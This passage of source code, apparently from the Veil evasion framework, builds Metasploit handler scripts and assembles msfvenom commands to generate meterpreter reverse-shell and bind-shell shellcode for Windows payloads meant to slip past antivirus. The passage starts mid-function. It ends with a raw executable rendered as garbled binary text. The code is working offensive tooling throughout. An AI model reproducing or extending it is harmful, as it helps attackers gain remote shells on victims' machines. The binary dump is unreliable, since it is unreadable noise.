os.path.isfile(settings.PAYLOAD_COMPILED_PATH + payload_name + str(counter) + "." + selected_payload_object.extension): filename_exists = False else: counter += 1 if first_time: return payload_name else: return payload_name + str(counter) def handler_code_generator(selected_payobject, handler_name, invoked=False, cli_obj=None): lhost_value = "" lport_value = "" rhost_value = "" payload_used = "" skip_handler = False if selected_payobject.language != "native" and selected_payobject.extension != "war": if 'shellcode_inject' in selected_payobject.path: # Parse the object to generate the payload if type(selected_payobject.shellcode.shellcode_options) is dict or invoked: if selected_payobject.payload_type == 'rev_tcp': payload_used = 'windows/meterpreter/reverse_tcp' elif selected_payobject.payload_type == 'rev_http': payload_used = 'windows/meterpreter/reverse_http' elif selected_payobject.payload_type == 'rev_https': payload_used = 'windows/meterpreter/reverse_https' elif selected_payobject.payload_type == 'rev_tcp_dns': payload_used = 'windows/meterpreter/reverse_tcp_dns' elif selected_payobject.payload_type == 'rev_tcp_all_ports': payload_used = 'windows/meterpreter/reverse_tcp_allports' elif selected_payobject.payload_type == 'bind_tcp': payload_used = 'windows/meterpreter/bind_tcp' if invoked: if cli_obj.ordnance_payload is not None and cli_obj.ordnance_payload.lower() == 'bind_tcp': rhost_value = cli_obj.ip else: lhost_value = cli_obj.ip lport_value = str(cli_obj.port) else: if 'LHOST' in selected_payobject.shellcode.shellcode_options: lhost_value = selected_payobject.shellcode.shellcode_options['LHOST'] if 'LPORT' in selected_payobject.shellcode.shellcode_options: lport_value = selected_payobject.shellcode.shellcode_options['LPORT'] if 'RHOST' in selected_payobject.shellcode.shellcode_options: rhost_value = selected_payobject.shellcode.shellcode_options['RHOST'] else: # parse msfvenom command payload_used = selected_payobject.payload_type split_msf_command = selected_payobject.shellcode.shellcode_options.split() for option in split_msf_command: if 'LHOST' in option: lhost_value = option.split('=')[1] elif 'LPORT' in option: lport_value = option.split('=')[1] elif 'RHOST' in option: rhost_value = option.split('=')[1] elif 'meterpreter' in selected_payobject.path: # Determine payload type if 'bind_tcp' in selected_payobject.path: payload_used = 'windows/meterpreter/bind_tcp' elif 'rev_tcp' in selected_payobject.path: payload_used = 'windows/meterpreter/reverse_tcp' elif 'rev_https' in selected_payobject.path: payload_used = 'windows/meterpreter/reverse_https' elif 'rev_http' in selected_payobject.path: payload_used = 'windows/meterpreter/reverse_http' # Grab LHOST or RHOST and LPORT values if 'LHOST' in selected_payobject.required_options: lhost_value = selected_payobject.required_options['LHOST'][0] if 'RHOST' in selected_payobject.required_options: rhost_value = selected_payobject.required_options['RHOST'][0] if 'LPORT' in selected_payobject.required_options: lport_value = selected_payobject.required_options['LPORT'][0] # Generate the handler file handler_text = 'use exploit/multi/handler\n' handler_text += 'set PAYLOAD ' + payload_used + '\n' if lhost_value: handler_text += 'set LHOST ' + lhost_value + '\n' elif rhost_value: handler_text += 'set RHOST ' + rhost_value + '\n' else: skip_handler = True handler_text += 'set LPORT ' + str(lport_value) + '\n' handler_text += 'set ExitOnSession false\n' handler_text += 'exploit -j\n' # Check to see if there is something there already try: os.remove(settings.HANDLER_PATH + handler_name + '.rc') except OSError: pass if not skip_handler: with open(settings.HANDLER_PATH + handler_name + '.rc', 'w') as handler_out: handler_out.write(handler_text) else: print(helpers.color("\nNo LHOST/RHOST value. Not going to create an .rc file\n", warning=True)) else: # we do nothing since no handler file is made for native payloads pass return def hash_executable(exe_path, file_name): # Read executable, hash it, and store in file with open(exe_path, 'rb') as get_hash: exe_contents = get_hash.read() sha1_hasher = hashlib.sha1() sha1_hasher.update(exe_contents) sha1_hash = sha1_hasher.hexdigest() # Write hashed value to file with open(settings.HASH_LIST, 'a') as hash_file: hash_file.write(sha1_hash + ":" + file_name + "\n") return def print_payload_information(pay_object): print(' [*] Language: ' + helpers.color(pay_object.language)) print(' [*] Payload Module: ' + helpers.color(pay_object.path)) return Veil-3.1.14/tools/evasion/evasion_common/shellcode_help.py000066400000000000000000000641471365017756100236720ustar00rootroot00000000000000""" Contains main Shellcode class as well as the Completer class used for tab completion of metasploit payload selection. """ # Import Modules import socket import os import readline import subprocess import binascii import sys from lib.common import helpers from tools.evasion.evasion_common import evasion_helpers from lib.common import completer # Try to find and import the settings.py config file try: sys.path.append("/etc/veil/") import settings except ImportError: print( "\n [!] ERROR #1-4: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() sys.path.insert(0, settings.VEIL_PATH + '/tools/ordnance') import tool as ordnance_import class Shellcode: """ Class that represents a shellcode object, custom of msfvenom generated. """ def __init__(self, cli_obj): # the nested dictionary passed to the completer self.payload_tree = {} # the entier msfvenom command that may be built self.msfvenomCommand = "" # any associated msfvenom options self.msfvenom_options = list() # in case user specifies a custom shellcode string self.custom_shellcode = "" # specific msfvenom payload specified self.msfvenompayload = "" # misc options self.options = list() # required options self.required_options = list() # load up all the metasploit modules available self.LoadModules() # Used when Ordnance generates shellcode self.invoke_ordnance = False self.ord_lhost = None self.ord_lport = None # Load cli options self.cli_options = cli_obj self.payload_choice = "" self.shellcode_options = "" def Reset(self): """ reset the state of any internal variables, everything but self.payload_tree """ self.msfvenomCommand = "" self.msfvenom_options = list() self.custom_shellcode = "" self.msfvenompayload = "" self.options = list() def LoadModules(self): """ Crawls the metasploit install tree and extracts available payloads and their associated required options for languages specified. """ # Variable changed for compatibility with non-root and non-Kali users # Thanks to Tim Medin for the patch msfFolder = settings.METASPLOIT_PATH # I can haz multiple platforms? platforms = ["windows"] for platform in platforms: self.payload_tree[platform] = {} stagesX86 = list() stagesX64 = list() # load up all the stages (meterpreter/vnc/etc.) # TODO: detect Windows and modify the paths appropriately for root, dirs, files in os.walk(settings.METASPLOIT_PATH + 'modules/payloads/stages/' + platform + '/'): for f in files: stageName = f.split(".")[0] if "x64" in root: stagesX64.append(f.split(".")[0]) if "x64" not in self.payload_tree[platform]: self.payload_tree[platform]["x64"] = {} self.payload_tree[platform]["x64"][stageName] = {} elif "x86" in root: # linux payload structure format stagesX86.append(f.split(".")[0]) if "x86" not in self.payload_tree[platform]: self.payload_tree[platform]["x86"] = {} self.payload_tree[platform]["x86"][stageName] = {} else: # windows payload structure format stagesX86.append(f.split(".")[0]) if stageName not in self.payload_tree[platform]: self.payload_tree[platform][stageName] = {} # load up all the stagers (reverse_tcp, bind_tcp, etc.) # TODO: detect Windows and modify the paths appropriately for root, dirs, files in os.walk(settings.METASPLOIT_PATH + 'modules/payloads/stagers/' + platform + '/'): for f in files: if ".rb" in f: extraOptions = list() moduleName = f.split(".")[0] lines = open(root + "/" + f).readlines() for line in lines: if "OptString" in line.strip() and "true" in line.strip(): cmd = line.strip().split(",")[0].replace("OptString.new(","")[1:-1] extraOptions.append(cmd) if "bind" in f: if "x64" in root: for stage in stagesX64: self.payload_tree[platform]["x64"][stage][moduleName] = ["LPORT"] + extraOptions elif "x86" in root: for stage in stagesX86: self.payload_tree[platform]["x86"][stage][moduleName] = ["LPORT"] + extraOptions else: for stage in stagesX86: self.payload_tree[platform][stage][moduleName] = ["LPORT"] + extraOptions if "reverse" in f: if "x64" in root: for stage in stagesX64: self.payload_tree[platform]["x64"][stage][moduleName] = ["LHOST", "LPORT"] + extraOptions elif "x86" in root: for stage in stagesX86: self.payload_tree[platform]["x86"][stage][moduleName] = ["LHOST", "LPORT"] + extraOptions else: for stage in stagesX86: self.payload_tree[platform][stage][moduleName] = ["LHOST", "LPORT"] + extraOptions # load up any payload singles # TODO: detect Windows and modify the paths appropriately for root, dirs, files in os.walk(settings.METASPLOIT_PATH + 'modules/payloads/singles/' + platform + '/'): for f in files: if ".rb" in f: with open(root + "/" + f) as ruby_file: lines = ruby_file.readlines() totalOptions = list() moduleName = f.split(".")[0] for line in lines: if "OptString" in line.strip() and "true" in line.strip(): cmd = line.strip().split(",")[0].replace("OptString.new(","")[1:-1] totalOptions.append(cmd) if "bind" in f: totalOptions.append("LPORT") if "reverse" in f: totalOptions.append("LHOST") totalOptions.append("LPORT") if "x64" in root: self.payload_tree[platform]["x64"][moduleName] = totalOptions elif "x86" in root: self.payload_tree[platform]["x86"][moduleName] = totalOptions else: self.payload_tree[platform][moduleName] = totalOptions return def payload_selection_menu(self, showTitle=True): """ Menu to prompt the user for a custom shellcode string. Returns None if nothing is specified. """ # print out the main title to reset the interface if showTitle: evasion_helpers.title_screen() else: print() print(helpers.color(" [?] Generate or supply custom shellcode?\n")) print(' %s - Ordnance %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) print(' %s - MSFVenom' % (helpers.color('2'))) print(' %s - Custom shellcode string' % (helpers.color('3'))) print(' %s - File with shellcode (\\x41\\x42..)' % (helpers.color('4'))) print(' %s - Binary file with shellcode\n' % helpers.color('5')) try: choice = self.required_options['SHELLCODE'][0].lower().strip() print(" [>] Please enter the number of your choice: %s" % (choice)) except: choice = input(" [>] Please enter the number of your choice: ").strip() if choice == '4': # instantiate our completer object for path completion comp = completer.PathCompleter() # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # if the shellcode is specicified as a raw file filePath = input(" [>] Please enter the path to your shellcode file: ") try: with open(filePath, 'r') as shellcode_file: file_shellcode = shellcode_file.read() file_shellcode = file_shellcode.strip() except: print(helpers.color(" [!] WARNING: path not found, defaulting to msfvenom!", warning=True)) return None if len(file_shellcode) == 0: print(helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) return None # check if the shellcode was passed in as string-escaped form if file_shellcode[0:2] == "\\x" and file_shellcode[4:6] == "\\x": return file_shellcode else: # otherwise encode the raw data as a hex string hexString = binascii.hexlify(file_shellcode) file_shellcode = "\\x"+"\\x".join([hexString[i:i + 2] for i in range(0, len(hexString), 2)]) return file_shellcode # remove the completer readline.set_completer(None) elif choice == '5': # instantiate our completer object for path completion comp = completer.PathCompleter() # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # if the shellcode is specicified as a raw file filePath = input(" [>] Please enter the path to your binary file: ") try: with open(filePath, 'rb') as shellcode_file: file_shellcode = shellcode_file.read() except: print(helpers.color(" [!] WARNING: path not found, defaulting to msfvenom!", warning=True)) return None if len(file_shellcode) == 0: print(helpers.color(" [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) return None binary_code = "" # Convert from binary to shellcode for byte in file_shellcode: binary_code += "\\x" + hex(byte)[2:].zfill(2) return binary_code elif choice == '3' or choice == 'string': # if the shellcode is specified as a string cust_sc = input(" [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): ") if len(cust_sc) == 0: print(helpers.color(" [!] WARNING: no shellcode specified, defaulting to msfvenom!", warning=True)) return cust_sc elif choice == '' or choice == '1' or choice.lower() == 'veil-ordnance' or choice.lower() == 'ordnance': return 'ordnance' elif choice == '2' or choice.lower() == 'msf' or choice.lower() == 'metasploit' or choice.lower() == 'msfvenom': return None else: print(helpers.color(" [!] WARNING: Invalid option chosen, defaulting to Ordnance!", warning=True)) return 'ordnance' def menu(self): """ Main interactive menu for shellcode selection. Utilizes Completer() to do tab completion on loaded metasploit payloads. """ selected_payload = None options = None showMessage = False if settings.TERMINAL_CLEAR != "false": showMessage = True # if no generation method has been selected yet if self.msfvenomCommand == '' and self.custom_shellcode == '': # show banner? if settings.TERMINAL_CLEAR != "false": showMessage = True # prompt for custom shellcode or msfvenom custom_shellcode = self.payload_selection_menu(showMessage) # if custom shellcode is specified, set it if custom_shellcode == "ordnance": # Start figuring out Ordnance stuff here self.invoke_ordnance = True elif custom_shellcode: self.custom_shellcode = custom_shellcode # else, if no custom shellcode is specified, prompt for metasploit else: # instantiate our completer object for tab completion of available payloads comp = completer.MSFCompleter(self.payload_tree) # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # have the user select the payload while selected_payload is None: print('\n [*] Press %s for windows/meterpreter/reverse_tcp' % helpers.color('[enter]', yellow=True)) print(' [*] Press %s to list available payloads' % helpers.color('[tab]', yellow=True)) try: selected_payload = self.required_options['MSF_PAYLOAD'][0] print(' [>] Please enter metasploit payload: %s' % (selected_payload)) except: selected_payload = input(' [>] Please enter metasploit payload: ').strip().lower() if selected_payload == '': # default to reverse_tcp for the payload selected_payload = "windows/meterpreter/reverse_tcp" try: parts = selected_payload.split("/") # walk down the selected parts of the payload tree to get to the options at the bottom options = self.payload_tree for part in parts: options = options[part] except KeyError: # make sure user entered a valid payload if 'PAYLOAD' in self.required_options: del self.required_options['PAYLOAD'] print(helpers.color(" [!] ERROR: Invalid payload specified!\n", warning=True)) selected_payload = None # remove the tab completer readline.set_completer(None) # set the internal payload to the one selected self.msfvenompayload = selected_payload # request a value for each required option for option in options: value = "" while value == '': ### VALIDATION ### # LHOST is a special case, so we can tab complete the local IP if option == "LHOST": try: value = self.required_options['LHOST'][0] print(' [>] Enter value for \'LHOST\', [tab] for local IP: %s' % (value)) except: # set the completer to fill in the local IP readline.set_completer(completer.IPCompleter().complete) value = input(' [>] Enter value for \'LHOST\', [tab] for local IP: ').strip() if '.' in value: hostParts = value.split(".") if len(hostParts) > 1: # if the last chunk is a number, assume it's an IP address if hostParts[-1].isdigit(): # do a IP validation check if not helpers.validate_ip(value): if 'LHOST' in self.required_options: self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad IP address specified.\n", warning=True)) value = "" # otherwise assume we've been passed a domain name else: if not helpers.validate_hostname(value): if 'LHOST' in self.required_options: self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad hostname specified.\n", warning=True)) value = "" # if we don't have at least one period in the hostname/IP else: if 'LHOST' in self.required_options: del self.required_options['LHOST'] print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" elif ':' in value: try: socket.inet_pton(socket.AF_INET6, value) except socket.error: if 'LHOST' in self.required_options: self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" else: if 'LHOST' in self.required_options: self.required_options['LHOST'][0] = "" print(helpers.color("\n [!] ERROR: Bad IP address or hostname specified.\n", warning=True)) value = "" elif option == "LPORT": try: value = self.required_options['LPORT'][0] print(' [>] Enter value for \'LPORT\': %s' % (value)) except: # set the completer to fill in the default MSF port (4444) readline.set_completer(completer.MSFPortCompleter().complete) value = input(' [>] Enter value for \'LPORT\': ').strip() try: if int(value) <= 0 or int(value) >= 65535: print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) if 'LPORT' in self.required_options: self.required_options['LPORT'][0] = "" value = "" except ValueError: print(helpers.color(" [!] ERROR: Bad port number specified.\n", warning=True)) if 'LPORT' in self.required_options: self.required_options['LPORT'][0] = "" value = "" else: value = input(' [>] Enter value for \'' + option + '\': ').strip() # append all the msfvenom options self.msfvenom_options.append(option + "=" + value) # allow the user to input any extra OPTION=value pairs extra_msf_options = list() while True: # clear out the tab completion readline.set_completer(completer.none().complete) selection = input(' [>] Enter any extra msfvenom options (syntax: OPTION1=value1 or -OPTION2=value2): ').strip() if selection != '': num_extra_options = selection.split(' ') for xtra_opt in num_extra_options: if xtra_opt != '': if "=" not in xtra_opt: print(helpers.color(" [!] Parameter not entered in correct syntax.\n", warning=True)) continue if "-" in xtra_opt.split('=')[0]: final_opt = xtra_opt.split('=')[0] + " " + xtra_opt.split('=')[1] extra_msf_options.append(final_opt) else: final_opt = xtra_opt.split('=')[0] + "=" + xtra_opt.split('=')[1] extra_msf_options.append(final_opt) else: break # grab any specified msfvenom options in the /etc/veil/settings.py file msfvenom_options = "" if hasattr(settings, "MSFVENOM_OPTIONS"): msfvenom_options = settings.MSFVENOM_OPTIONS # build out the msfvenom command self.msfvenomCommand = "msfvenom " + msfvenom_options + " -p " + selected_payload for option in self.msfvenom_options: self.msfvenomCommand += " " + option self.options.append(option) if len(extra_msf_options) != 0: self.msfvenomCommand += " " + " ".join(extra_msf_options) self.msfvenomCommand += " -f c | tr -d \'\"\' | tr -d \'\\n\'" return def generate(self, required_options=None): """ Based on the options set by menu() or SetPayload() either returns the custom shellcode string or calls msfvenom and returns the result. Returns the shellcode string for this object. """ self.required_options = required_options # if the msfvenom command nor shellcode are set, revert to the # interactive menu to set any options if self.msfvenomCommand == '' and self.custom_shellcode == '': self.menu() # return custom specified shellcode if it was set previously if self.custom_shellcode != '': print(helpers.color("\n [*] Using pre-generated shellcode...")) return self.custom_shellcode elif self.invoke_ordnance: print(helpers.color("\n [*] Generating shellcode using Veil-Ordnance...")) ordnance_loop = True Ordnance_object = ordnance_import.Tools() while ordnance_loop: Ordnance_object.tool_main_menu(invoked=True) if Ordnance_object.final_shellcode != '': self.payload_choice = Ordnance_object.selected_payload self.shellcode_options = Ordnance_object.payload_options ordnance_loop = False return Ordnance_object.final_shellcode # generate the shellcode using msfvenom else: print(helpers.color("\n [*] Generating shellcode using msfvenom...")) if self.msfvenomCommand == '': print(helpers.color(" [!] ERROR: msfvenom command not specified in payload!\n", warning=True)) return None else: # Strip out extra characters, new lines, etc., just leave the shellcode. # Tim Medin's patch for non-root non-Kali users msfvenom_shellcode = subprocess.check_output(settings.MSFVENOM_PATH + self.msfvenomCommand, shell=True) self.shellcode_options = self.msfvenomCommand msfvenom_shellcode = msfvenom_shellcode.decode('ascii') self.msfvenomCommand = "" return msfvenom_shellcode[22:-1].strip() def cli_msf_shellcode_gen(command_line_args): # set variables for values for easier readability msf_payload = command_line_args.msfvenom ip = command_line_args.ip port = command_line_args.port # Parse extra flags to be included in msfvenom command extra_options = "" if command_line_args.msfoptions is not None: num_extra_options = command_line_args.msfoptions.split(' ') for xtra_opt in num_extra_options: if xtra_opt != '': if "=" not in xtra_opt: print(helpers.color(" [!] Parameter not entered in correct syntax.\n", warning=True)) sys.exit() if "-" in xtra_opt.split('=')[0]: final_opt = xtra_opt.split('=')[0] + "=" + xtra_opt.split('=')[1] extra_options += ' ' + final_opt else: final_opt = xtra_opt.split('=')[0] + "=" + xtra_opt.split('=')[1] extra_options += ' ' + final_opt # generate the msfvenom command msf_command = settings.MSFVENOM_PATH + 'msfvenom -p ' + msf_payload + ' ' msf_command += "LHOST=" + ip + " LPORT=" + str(port) if extra_options != '': msf_command += extra_options # add final part to command to narrow down the msf output msf_command += " -f c | tr -d \'\"\' | tr -d \'\\n\'" # Run the command and get output msfvenom_shellcode = subprocess.check_output(msf_command, shell=True) msfvenom_shellcode = msfvenom_shellcode.decode('ascii') return msfvenom_shellcode[22:-1].strip() Veil-3.1.14/tools/evasion/evasion_common/tools/000077500000000000000000000000001365017756100214725ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/evasion_common/tools/runw.orig.exe000077500000000000000000003730001365017756100241350ustar00rootroot00000000000000MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELà/ žòÈà°@BX à Èî0âÌ.text¤ž`P`.data4°¢@0À.rdatahOÀP¤@`@.bssÆ€pÀ.idata àô@0À.CRT4ð@0À.tls @0À.rsrcÈîð@0Àóô&¼'ƒì1Àf=@MZÇŒÕALjÕAÇ„ÕAÇÈÑAth£A¡˜ÕA…ÀtJÇ$èæœÇ$ÿÿÿÿèR‹¨ÕA£èÕA£ìÕA¡øâA‰èƒ=°@tm1ÀƒÄô&Ç$蜜ë´f‹<@º@PEŠ@u€·Qfú t?fú …jÿÿÿƒ¹„†]ÿÿÿ‹‘ø1À…Ò•ÀéKÿÿÿvÇ$0@èŒ1ÀƒÄÃyt†,ÿÿÿ‹‰è1À…É•Àéÿÿÿfƒì,¡€ÕAÇD$AÇD$AÇD$AÇ$A£A¡ A‰D$ èΛ£AƒÄ,ö¼'U1À¹‰åWVU¤S‰×ƒì|ó«°0èò—)ÄD$ƒàðÇÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌ̃äð‹5˜ÕA…ö…¨d¡1ö‹X‹=¤âAë9Ø„/Ç$èÿ׃ì‰ðð±ðÕA…ÀuÞ¡ôÕA1Ûƒø„¡ôÕA…À„gÇA¡ôÕAƒø„ …Û„+¡øA…ÀtÇD$ÇD$Ç$ÿЃì èåŒÇ$0¢@ÿ âAƒì£¬ÕAÇ$@èÄšè0ãAÇÜÕA@‹…ÀtP1É붉˃ófƒú"D˃À·fƒú wèf…Òt ƒát¹ëãƒêfƒúwƒÀ·8Wÿfƒúvñ£ØÕA‹˜ÕA…Ût·UÔöEи E£°@¡A‰E‰Ç…‰EŒ‰$è™…ÿ‰E”‹AŽi1ÿ‰þv¼'‹³fƒ8„²ºƒÂfƒ|Pþuõ<‰<$èИ‹M”‰±‹ ³ƒÆ‰|$‰$‰L$褘;uu·‹EŒƒè‹}”lj=Aèl†¡äâA‹A‰¡A‰D$¡A‰D$¡A‰$èp†‹ A£ A…É„¿‹A…Òu 虡 Aeô[^_]ÿéWÿÿÿ¡ôÕA»ƒø…èýÿÿÇ$èؘ¡ôÕAƒø…óýÿÿÇD$ðAÇ$ðAè–˜…ÛÇôÕA…Õýÿÿ‡ðÕAéÊýÿÿ‰$ÿpâAƒìéGýÿÿÇôÕAÇD$ðAÇ$ ðAèJ˜é€ýÿÿ1Àéíþÿÿ‰$èî—¶ƒì ǘÕAè¾…ƒÄ é†üÿÿ¶ƒì ǘÕAèž…ƒÄ éfüÿÿU‰åƒì¡0°@…Àt<Ç$À@ÿdâAƒì…ÀºtÇD$À@‰$ÿhâAƒì‰Â…Òt Ç$0°@ÿÒÇ$€@è)„Éô&U‰å]Ãì¡ÜâA‹‰D$¡ÈâA‹‰$è3>‰D$¡ÈâA‹‰$èƒÄÂVSƒì‹\$$‹t$ ‹‰$ÿôãAƒìØ;FsÇ$$À@è‹F ƒÄ[^Éö¼'UWVSƒìl‹œ$€‹´$„‹…À„a‹{‹F‹-ôãA‰$ÿÕƒìlj|$ÇD$‹‰$è-–‹F‰$ÿÕƒì‰$èú•…À‰Ç„h‹‹F‰T$‰$ÿÕƒì‹T$ÇD$‰D$‰<$‰T$ èó•…À„€~t‹…Àt‰$èÿ•ÇƒÄl‰ø[^_]Ãèªr‹F ‰$ÿÕƒì‰$è•…À‰D$„P‹FÇD$HÇD$LÇD$P‰|$(‰$ÿÕƒì‰D$,‹D$‰D$4‹F ‰$ÿÕƒìl$(ÇD$8ÇD$«À@‰D$8‰,$èMF…Àˆ–ÇD$‰,$èÕF…Àˆ¸‰,$èf‰<$è •‹|$é'ÿÿÿt&ChÇD$DÀ@‰$è}…À‰…‚þÿÿÇ$ëÀ@1ÿèeƒÄl‰ø[^_]ÃÇ$hÀ@1ÿèMéïþÿÿ´&Ç$HÀ@è4éÖþÿÿ‹T$@‰D$Ç$ÌÀ@‰T$è‰<$ƒÆ1ÿèz”‰t$Ç$Á@èúéœþÿÿ‹T$@‰D$Ç$±À@‰T$èÝëÄÇ$„À@èÏ붶¼'UWVSƒì‹\$0‹t$4‰$‰t$è•ýÿÿ‰$‰Çèë0ƒøÿt_nÃh ‰$‰l$èQ3‰Ã‹F ‰$ÿôãAƒì…Û‰ÆtR‰\$ ÇD$‰D$‰<$誓ƒøt…öu‰$èᓉ<$è©“1ÀƒÄ[^_]Él$Ç$<Á@迸ÿÿÿÿëá‰l$Ç$Á@訸ÿÿÿÿëÊUWVS윋¬$°‹E…À„ÇD$ÇD$\$.‰$ÇD$0è(“‹EÇD$ÇD$‰$‰D$ è“€|$.M…•€|$/Z…ŠÇD$ÇD$<‹E‰$èØ’‹EÇD$ÇD$‰D$ D$0‰$‰D$èÁ’‹D$0ÇD$ƒÀ‰D$‹E‰$è“’‹EÇD$ÇD$‰$‰D$ è„’€|$. „ÁÇD$ÇD$‹E‰$èN’‹E‰$è;’‰D$‹D$ÇD$ƒè`‰D$‹E‰$è!’…À…‹EÇD$ÇD$`‰D$ D$0‰$‰D$è’…À„Ô\$8¸^Á@ë´&ƒë;\$‚µ¹‰Æ‰ßó¦uæ‹}M‰Þƒçü‰E‹CT)ù)΃ÁXÁé‰Edó¥‹5ôãA‹E‰$ÿÖƒìÇ…l@+\$‹|$)Ç‹E\ø‰]‰$ÿÖƒìØÇD$‰D$‹E‰$èL‘‹E ‰$ÿÖƒì‰$è‘…À‰E„`‹E ‹]‰$ÿÖƒì‰\$ ÇD$‰D$‹E‰$è‘…À„‹]‹E ‰$ÿÖËEƒì‰] ‰$è‘…À‰Ã…ñ‹E…Àt‰$èþÇEÄœ‰Ø[^_]Ãv¼'¶D$/<„—<…*þÿÿ¸¨D$0ÇD$‰D$‹E‰$ès‹EÇD$ÇD$‰D$ ‹D$‰$è`‹D$0ƒø‰D$„ÖýÿÿúýÿÿéËýÿÿEhÇD$DÀ@‰$è¹…À‰E…ÊüÿÿÄœ»ÿÿÿÿ‰Ø[^_]ø˜élÿÿÿÇ$‹Á@»ÿÿÿÿè!é%ÿÿÿÇ$¥Á@»ÿÿÿÿè éÿÿÿÇ$hÁ@»ÿÿÿÿèõéùþÿÿWVSƒì‹\$ ‹|$$sh‰|$‰4$è+‹D$(‰4$³hÃh0‰D$è'‰|$‰4$èǃ‰t$‰$è펃Ä1À[^_ö¿Sƒì‹D$(‹\$ ‰D$‹D$$‰$‰D$èpÿÿÿ…Àu ‰$è´ûÿÿ…Àt‹…Àt‰$èBǸÿÿÿÿƒÄ[Ãf‹D$‹@ô&Sƒì‹\$$‹‰$ÿôãAƒìØ‹T$ ;B ºCƒÄ[Ãt&ƒì‹D$ ‹@$‰$ÿôãAƒìƒÄöSƒì‹\$ …Ût4‹C…Àt‰$è…Ž‹…Àt‰$觎‰\$ ƒÄ[éjŽv¼'ƒÄ[Ãt&¼'UWVSƒì‹t$0‹D$4‹^‰$è¶;^ ‰Ås4€{ou‹D$4{‰l$‰<$‰D$è‚…Àt‰\$‰4$èB÷ÿÿ9F ‰Ãw̃Ä1À[^_]À|+D//DƒÄ[^_]ÃSì„$$\$ÇD$‰D$ ‹„$ ‰$‰D$è¿Œ‰\$ÇD$ 0ÇD$´Á@Ç$ÿìãAƒìÄ[ÃvSì„$$\$ÇD$‰D$ ‹„$ ‰$‰D$è_Œ‰\$ÇD$ 0ÇD$ÁÁ@Ç$ÿìãAƒìÄ[ÃvƒìD$$‰D$‹D$ ‰D$¡ ãAƒÀ@‰$è=ŒƒÄÃSƒìHD$X‹\$PÇD$‰D$ ‹D$T‰$‰D$èØ‹D$‰$‰D$è؉ƒÄH[ÃvUWVSP¸XP葉)Ä‹´$O@l$Oœ$O‹8‰T$‰4$‰D$<èð‹ÇD$ÈÁ@‰4$è°‹‰,$‰D$èÔ‹ÇD$ÈÁ@Ç$苉$‰D$è´‹€|$O„I€¼$O„;‰l$‰4$èG ‡h‰\$ÇD$ÊÁ@‰t$ÇD$ ÊÁ@‰D$8‰D$„$O ÇD$RÂ@‰$èêþÿÿ…ÀuF‰<$èž(ƒøÿ„…„$O Çh ‰\$‰|$‰$èh,ƒøÿ„_1ÀÄ\P[^_]Ãf‹D$8‰\$ ÇD$ÊÁ@‰t$ÇD$ÊÁ@ÇD$ÌÁ@‰D$„$O ÇD$ ÊÁ@ÇD$ÏÁ@‰$èYþÿÿ…À„kÿÿÿ‹|$8´$O0‰l$ÇD$ ÊÁ@ÇD$ÞÁ@‰4$‰|$è&þÿÿ…À…ž‹|$<‹‰$èÐ'ƒøÿ„Û‰ø‹h‹D$<…ÿPué‰êƒÅ‹}ü…ÿ„ÿGh‰t$‰$è@Š…ÀuÝ‹w;w ƒÿÿÿF‰\$‰$è!Š…Àu‰t$‰<$èQöÿÿ…À…‰‰t$‰<$è­óÿÿ;G ‰ÆrÆéÒþÿÿ‰l$ÇD$ ÊÁ@‰|$ÇD$éÁ@‰4$è`ýÿÿ…À„:ÿÿÿ‹D$8‰l$ÇD$ ÊÁ@ÇD$ôÁ@‰4$‰D$è4ýÿÿ…À„ÿÿÿ‰t$Ç$ûÁ@è,üÿÿ¸ÿÿÿÿéeþÿÿf‰\$Ç$nÂ@èüÿÿ‰<$è؉Ä\P¸ÿÿÿÿ[^_]ô&Ç$x@‰T$8舉…À‰Ç‹T$8„©@h‰t$‰T$8‰$艋D$<‹(…h‰D$‡h‰$èùˆ…h ‰D$‡h ‰$èላ…h@‰‡h@‰<$èÕõÿÿ…À‹T$8u'‰:éŠþÿÿ¶‰\$Ç$]Â@èPûÿÿ¸ÿÿÿÿé‰ýÿÿ‰t$Ç$8Â@è6ûÿÿ‰<$èþˆéíþÿÿÇ$Â@èûÿÿéÜþÿÿ´&VSƒì‹\$ ‹C;C s5¶pV¦€úv3¾@ë¶HQ¦€úw£Ör%‰D$‰$èßñÿÿ9C wÞƒÄ1À[^Ãf¹@£ÑsÃĸ[^Ãt&¼'UW1ÀVS¹ƒìl‹´$€l$‰ï‹^;^ ó«‰t$r"éŽfÇD$‰$‰D$è„&D$‰$‰D$ÿLãA…À”ÀÄH ¶À[ÃvUW¸< VSèR{)ÄÇ$œÃ@è$~…À„¯‰Å|$.´$/ëU‰Ã‰D$¸)ë‰l$‰<$ûG؉\$èo}‹„$T ÆD.‰|$‰4$‰D$èûýÿÿ‰4$è3ÿÿÿ…À‹L$u^iÇD$;‰,$è`}…Àu—ÇD$‰l$‰<$è}‹„$T ‰|$‰4$‰D$è©ýÿÿ‰4$èáþÿÿ…ÀuÄ< ¸ÿÿÿÿ[^_]Ë„$P ‰t$ÇD$‰$èÊ|Ä< 1À[^_]Ãt&S¸ èEz)Ä\$ÇD$Ç$‰\$ÿ`âAƒì …Àt/‹„$ ÇD$‰\$‰$èT#…Àt,1ÀÄ [öè;!Ç$¤Ã@‰D$è 